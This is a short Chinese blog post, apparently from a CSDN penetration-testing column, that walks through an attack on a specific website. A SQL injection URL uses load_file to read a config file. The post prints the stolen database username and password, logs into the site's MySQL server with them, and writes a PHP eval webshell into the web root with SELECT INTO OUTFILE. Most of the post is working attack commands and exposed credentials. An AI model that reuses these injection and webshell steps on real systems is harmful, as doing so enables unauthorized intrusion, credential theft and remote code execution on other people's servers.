渗透测试 - MYSQL外联写马_cracer-CSDN

最新推荐文章于 2024-10-16 15:26:08 发布

创心域技术网

最新推荐文章于 2024-10-16 15:26:08 发布

阅读量63

点赞数

分类专栏： cracer-CSDN 文章标签： mysql 数据库

本文链接：https://blog.csdn.net/m0_67888657/article/details/131678635

版权

cracer-CSDN 专栏收录该内容

33 篇文章 1 订阅

订阅专栏

http://www.****.net/content.php?Id=-48 union select 1,2,3,
4,substring(load_file(0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870),780,300),6,7,8,9/*

读取到如下内容：

$def_db_admin = "czxtaiji"; // 资料库帐号
$def_db_passwd = "czxtaiji"; // 管理密码
$def_select_db = "czxtaiji"; //
$def_db_admin = "czxtaiji";
$def_db_passwd = "czxtaiji"
$def_select_db = "czxtaiji"

链接
mysql -hwww.czxtaiji.net -uczxtaiji -p czxtaiji
mysql> select version();

| 4.0.18-nt |

mysql> show databases;

赶紧往数据库里写马
create table gongji(str TEXT);?
insert into gongji values("<?php eval($_POST[cmd])?>");
select * from gongji into outfile 'd:/czxsite/bin/gongji.php';

一句话木马链接操之：